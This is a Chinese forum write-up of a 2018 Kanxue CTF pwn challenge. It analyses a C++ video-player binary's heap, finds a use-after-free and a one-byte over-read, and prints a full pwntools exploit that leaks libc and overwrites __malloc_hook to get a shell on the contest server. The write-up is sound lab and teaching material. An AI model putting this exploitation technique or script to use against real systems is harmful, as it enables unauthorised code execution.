-
-
[原创]看雪.京东 2018CTF 第九题 PWN-羞耻player
-
2018-7-2 13:44 2563
-
C++写的堆溢出考题,保护全开。
载入IDA分析,在程序开头0x12B0处,做了随机化的堆操作:
如图,先256次随机大小的分配,然后随机释放掉其中的一部分。这时候堆会显得比较乱,如下:
(0x20) fastbin[0]: 0x5555557936d0 --> 0x5555557904c0 --> 0x55555578f9f0 --> 0x55555578f9d0 --> 0x55555578f400 --> 0x55555578dc50 --> 0x55555578c8c0 --> 0x55555578b850 --> 0x0 (0x30) fastbin[1]: 0x555555790470 --> 0x55555578f600 --> 0x55555578dc20 --> 0x55555578cf40 --> 0x55555578b820 --> 0x0 (0x40) fastbin[2]: 0x5555557937f0 --> 0x555555790640 --> 0x55555578e1f0 --> 0x55555578d5f0 --> 0x55555578bd10 --> 0x55555578b4e0 --> 0x0 (0x50) fastbin[3]: 0x555555792370 --> 0x5555557913a0 --> 0x55555578cd00 --> 0x0 (0x60) fastbin[4]: 0x555555791eb0 --> 0x5555557914d0 --> 0x55555578f330 --> 0x0 (0x70) fastbin[5]: 0x5555557910e0 --> 0x555555790500 --> 0x55555578f850 --> 0x55555578e910 --> 0x55555578cd50 --> 0x55555578c4b0 --> 0x55555578ae30 --> 0x0 (0x80) fastbin[6]: 0x555555793380 --> 0x555555792850 --> 0x55555578f710 --> 0x55555578f1d0 --> 0x55555578c3f0 --> 0x55555578b0b0 --> 0x0 top: 0x555555793f10 (size : 0x170f0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x555555793ba0 (size : 0xb0) <--> 0x555555793920 (size : 0x100) <--> 0x5555557936f0 (size : 0x100) <--> 0x555555793440 (size : 0x140) <--> 0x5555557930a0 (size : 0x1b0) <--> 0x555555792f00 (size : 0xa0) <--> 0x555555792cc0 (size : 0xe0) <--> 0x5555557928d0 (size : 0x130) <--> 0x555555791c80 (size : 0x110) <--> 0x555555791bb0 (size : 0xa0) <--> 0x555555791a80 (size : 0x90) <--> 0x555555791820 (size : 0x1b0) <--> 0x555555791680 (size : 0xe0) <--> 0x555555790770 (size : 0x280) <--> 0x5555557902b0 (size : 0xe0) <--> 0x55555578fa10 (size : 0x350) <--> 0x55555578f010 (size : 0x1c0) <--> 0x55555578ed00 (size : 0x210) <--> 0x55555578eae0 (size : 0xf0) <--> 0x55555578e810 (size : 0x100) <--> 0x55555578e500 (size : 0xa0) <--> 0x55555578e3d0 (size : 0xa0) <--> 0x55555578dd50 (size : 0xa0) <--> 0x55555578d0b0 (size : 0xb0) <--> 0x55555578ce30 (size : 0x110) <--> 0x55555578cc00 (size : 0x100) <--> 0x55555578ca80 (size : 0x110) <--> 0x55555578c760 (size : 0xa0) <--> 0x55555578c110 (size : 0x90) <--> 0x55555578b870 (size : 0xa0) <--> 0x55555578b360 (size : 0xe0) <--> 0x55555578af60 (size : 0x150) <--> 0x55555578ac10 (size : 0xd0)
注意到随机分配的大小v0是8bit的,也就是0~255,那么只要分配一个比较大的,就可以consolidate,清空fastbin,并且把unsortbin放到smallbin里去。
尝试分配一个video,之后堆就干净了一些:
(0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 top: 0x555555793f80 (size : 0x17080) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x270) smallbin[37]: 0x555555793710 (0x190) smallbin[23]: 0x555555790ad0 (0x030) smallbin[ 1]: 0x55555578c060 <--> 0x55555578ea20 (0x120) smallbin[16]: 0x55555578ede0 <--> 0x555555791630 <--> 0x55555578f410 (0x090) smallbin[ 7]: 0x55555578f7d0 <--> 0x55555578f330 <--> 0x55555578ca20 (0x080) smallbin[ 6]: 0x55555578c4d0 (0x110) smallbin[15]: 0x555555791f30 (0x100) smallbin[14]: 0x55555578bee0 <--> 0x55555578cc80 <--> 0x55555578d3f0 <--> 0x55555578ced0 <--> 0x55555578b8d0 <--> 0x55555578ae50 (0x060) smallbin[ 4]: 0x555555792f60 (0x020) smallbin[ 0]: 0x55555578cc00 <--> 0x55555578fce0 <--> 0x555555790ef0 <--> 0x555555790fa0 <--> 0x5555557923c0 (0x0e0) smallbin[12]: 0x55555578d160 <--> 0x55555578e240 (0x0d0) smallbin[11]: 0x555555790d60 <--> 0x555555793170 <--> 0x555555791a60 <--> 0x55555578b510 (0x0b0) smallbin[ 9]: 0x55555578bc20 (0x150) smallbin[19]: 0x55555578fe60 <--> 0x55555578d890 (0x0f0) smallbin[13]: 0x55555578d660 <--> 0x555555793020 <--> 0x55555578e4d0 (0x1a0) smallbin[24]: 0x5555557913e0 (0x130) smallbin[17]: 0x555555791020 (0x070) smallbin[ 5]: 0x55555578dcd0 <--> 0x55555578e3d0 <--> 0x5555557908e0 <--> 0x555555793640 (0x240) smallbin[34]: 0x55555578b640 (0x040) smallbin[ 2]: 0x55555578c850 <--> 0x555555793390 (0x180) smallbin[22]: 0x555555792980 (0x1e0) smallbin[28]: 0x55555578eaa0 (0x0a0) smallbin[ 8]: 0x555555790150 <--> 0x55555578e0a0 <--> 0x55555578bad0 (0x050) smallbin[ 3]: 0x55555578dbd0 <--> 0x55555578dee0 <--> 0x55555578f700 <--> 0x555555791c40 <--> 0x5555557926e0 (0x2c0) smallbin[42]: 0x55555578f000 (0x140) smallbin[18]: 0x5555557906c0 (0x0c0) smallbin[10]: 0x55555578b0b0 <--> 0x55555578c130 <--> 0x55555578bde0
回头看程序,看video相关操作。0x203C70处是它的vtable,里面4个函数分别是增改删查功能。
动态调试标出结构体。然后看添加video的逻辑,如下:
其中frames最大1024,并且会更新为实际读入的内容长度。
但是在play功能部分,可以看到循环上界有问题:
这里多输出了一个字节,那么可以走这里逐字节泄漏libc。
最后看编辑功能,如下:
可以看到这里有明显的UAF。
那么,总体来说就是非常直接的一道题了,简单总结一下看到的两个明显漏洞:
- edit时的UAF
- play的时候多输出一个byte
(不知道还有没有其他漏洞)
于是先搞出0x410的unsortbin,然后反复edit即可逐byte泄漏出unsortbin的bk指针,也就拿到了libc偏移。
然后就随便玩了,fastbin重定向或者house of orange都可以,或者再泄漏堆,修改堆上的vtable也行,总之八仙过海各显神通,大家各凭本事就好。我这里是用fastbin把malloc_hook改成one_gadget,完整利用如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context.arch = 'amd64' def login(): r.sendlineafter('Name?\n', 'qwe') def add_video(res, fps, frames, data, des): r.sendlineafter('>>> ', '1') r.sendlineafter('>>> ', '1') r.sendafter(': ', res) r.sendafter(': ', fps) r.sendafter(': ', frames) r.sendafter(': ', data) r.sendafter(': ', des) def fre(idx): r.sendlineafter('>>> ', '4') r.sendlineafter(': ', str(idx)) def show_video(idx): r.sendlineafter('>>> ', '3') r.sendlineafter(': ', str(idx)) r.recvuntil('...\n') tmp = r.recvline().strip() tmp = xor(tmp, '\xcc') return tmp def edit_video(idx, res, fps, frames, data, des): r.sendlineafter('>>> ', '2') r.sendlineafter(': ', str(idx)) r.sendafter(': ', res) r.sendafter(': ', fps) r.sendafter(': ', frames) r.sendafter(': ', data) r.sendafter(': ', des) def exploit(r): login() add_video('AAAAAAAA', 'AAAA', 'AAAA', 'AAAAAAAAAAA', 'AAAA') add_video('AAAAAAAA', 'AAAA', 'AAAA', 'AAAAAAAAAAA', 'AAAA') fre(0) leak = '\x00' for i in range(1, 6): edit_video(1, 'AAAAAAAA', 'AAAA', 'AAAA', '\x00'*i, 'AAAA') leak += show_video(1)[-1] leak += '\x00\x00' libc.address = u64(leak) - libc.sym['__malloc_hook'] + 0x10 info('%016x libc.address', libc.address) edit_video(1, 'AAAAAAAA', 'AAAA', p32(0x70-8), p64(libc.sym['__malloc_hook']-19), 'AAAA') add_video('AAAAAAAA', 'AAAA', p32(0x70-8), p64(libc.sym['__malloc_hook']-19), 'AAAA') add_video('AAAAAAAA', 'AAAA', p32(0x70-8), '\x00'*3 + p64(libc.address+0x4526a), 'AAAA') r.sendlineafter('>>> ', '1') r.sendlineafter('>>> ', '1') r.interactive() libc = ELF('./libc.so.6') r = remote('139.199.99.130', 8989) exploit(r)
当然因为程序开头的一些随机操作,这个利用概率性成功。提高利用成功率留作习题。
PS:有点残念,这题不到一个钟头就做完了,不过当时没有服务器信息,等到将近四点才拿到flag……不过还是非常感谢netwind斑竹!
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法